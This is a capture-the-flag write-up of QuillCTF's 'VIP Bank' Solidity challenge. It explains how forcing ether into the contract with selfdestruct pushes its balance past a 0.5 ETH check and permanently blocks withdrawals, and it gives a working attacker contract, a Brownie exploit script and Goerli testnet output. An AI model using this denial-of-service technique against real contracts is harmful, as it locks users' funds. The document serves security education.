VIP Bank is a Solidity CTF challenge from QuillCTF.
Solution
In this contract, there is only 1 solidity
file. VIPBank.sol
. Contract is deployed on goerli test network.
To connect with this contract we can run brownie console with goerli network
kaancaglan@pop-os:~/QuillCTF/roadclosed$ brownie console --network goerli
Objective of CTF is
At any cost, lock the VIP user balance forever into the contract.
We have to DOS withdraw
function to block any other user to withdraw their balances from the contract.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
contract VIP_Bank{
address public manager;
mapping(address => uint) public balances;
mapping(address => bool) public VIP;
uint public maxETH = 0.5 ether;
constructor() {
manager = msg.sender;
}
modifier onlyManager() {
require(msg.sender == manager , "you are not manager");
_;
}
modifier onlyVIP() {
require(VIP[msg.sender] == true, "you are not our VIP customer");
_;
}
function addVIP(address addr) public onlyManager {
VIP[addr] = true;
}
function deposit() public payable onlyVIP {
require(msg.value <= 0.05 ether, "Cannot deposit more than 0.05 ETH per transaction");
balances[msg.sender] += msg.value;
}
function withdraw(uint _amount) public onlyVIP {
require(address(this).balance <= maxETH, "Cannot withdraw more than 0.5 ETH per transaction");
require(balances[msg.sender] >= _amount, "Not enough ether");
balances[msg.sender] -= _amount;
(bool success,) = payable(msg.sender).call{value: _amount}("");
require(success, "Withdraw Failed!");
}
function contractBalance() public view returns (uint){
return address(this).balance;
}
}
At first look it can be seen that as an attacker we can only run contractBalance
function, all of other functions require some kind of privileges like onlyVIP
or onlyManager
.
This is a very basic contract that vip
users can deposit
ethers and then withdraw
their already deposited ethers. There is nothing fancy in deposit
function, it basically gets Ethereum from msg.sender
and increases the balance
of msg.sender
. Only requirement is the user can not deposit more than 0.05 ETH in one transaction. However, on the withdraw
function it can be seen that there is a require statement which is required that balance of the contract should be less than or equal to maxETH
which is 0.5 ETH
. So if there is more than 0.5 ETH
in the contract, no one will be able to withdraw
their Ethereums because that require statement will fail every time. Since there is no any payable
function for non-vip user, we can create our own smart contract and self-destruct it to deposit some Ethereum to the contract. selfdestruct
sends all remaining Ether stored in the contract to a designated address.
POC
First, we need a smart contract with selfdestruct
feature in it.
pragma solidity ^0.8.0;
contract Attack {
address immutable vip_bank;
constructor(address _vip_bank) {
vip_bank = _vip_bank;
}
function attack() public payable {
address payable addr = payable(address(vip_bank));
selfdestruct(addr);
}
}
Now we can deploy our own contract and use it to increase contracts balance to make in unavailable.
#https://goerli.etherscan.io/address/0xd2372eb76c559586be0745914e9538c17878e812
from brownie import *
from brownie.network.gas.strategies import LinearScalingStrategy
from brownie.network import gas_price, Accounts
from dotenv import load_dotenv
from scripts.setup_general import console
import os
strategy = LinearScalingStrategy("6 gwei", "70 gwei", 1.1)
gas_price(strategy)
load_dotenv()
ATTACKER_PRIVATE_KEY = None
def exploit():
ATTACKER_PRIVATE_KEY = os.getenv('DEFAULT_ATTACKER_PRIVATE_KEY')
_accounts = Accounts()
_accounts.add(ATTACKER_PRIVATE_KEY)
attacker = _accounts[0]
assert attacker.balance() > 0
contr = VIP_Bank.at('0x28e42e7c4bda7c0381da503240f2e54c70226be2')
console.green("Imported attacker account successfuly.")
console.green("Balance of the contract is: "+ str(contr.contractBalance()))
console.yellow("Creating attack contract")
attack_contr = Attack.deploy(contr.address, {'from': attacker})
console.yellow("Calling -> attack_contr.attack({'from': attacker, 'value': web3.toWei('0.51', 'ether')})")
attack_contr.attack({'from': attacker, 'value': web3.toWei('0.51', 'ether')})
console.green("Balance of the contract after attack is: "+ str(contr.contractBalance()))
You just have to add your goerli account private key into .env file
export DEFAULT_ATTACKER_PRIVATE_KEY=xyz
And the output is
>>> run('poc', 'exploit')
Running 'scripts/poc.py::exploit'...
Imported attacker account successfuly.
+ Balance of the contract is: 0
Creating attack contract
Transaction sent: 0xf83727dafdd2a999e19c2e84ff4f34d8a2bee2bea97845ac8aa0320a4852860a
Gas price: 6.0 gwei Gas limit: 94025 Nonce: 56
Attack.constructor confirmed Block: 8180668 Gas used: 85478 (90.91%)
Attack deployed at: 0x87b98A3274609723936F4ED019dFd4C90aaa670d
- Calling -> attack_contr.attack({'from': attacker, 'value': web3.toWei('0.51', 'ether')})
Transaction sent: 0xf4f26bc1cd14cd8f954d5cf4bcdbac4587bad826df7d4c212814ed602f27a535
Gas price: 6.0 gwei Gas limit: 31654 Nonce: 57
Attack.attack confirmed Block: 8180670 Gas used: 28777 (90.91%)
+Balance of the contract after attack is: 510000000000000000
Etherscan request of attack can be found here.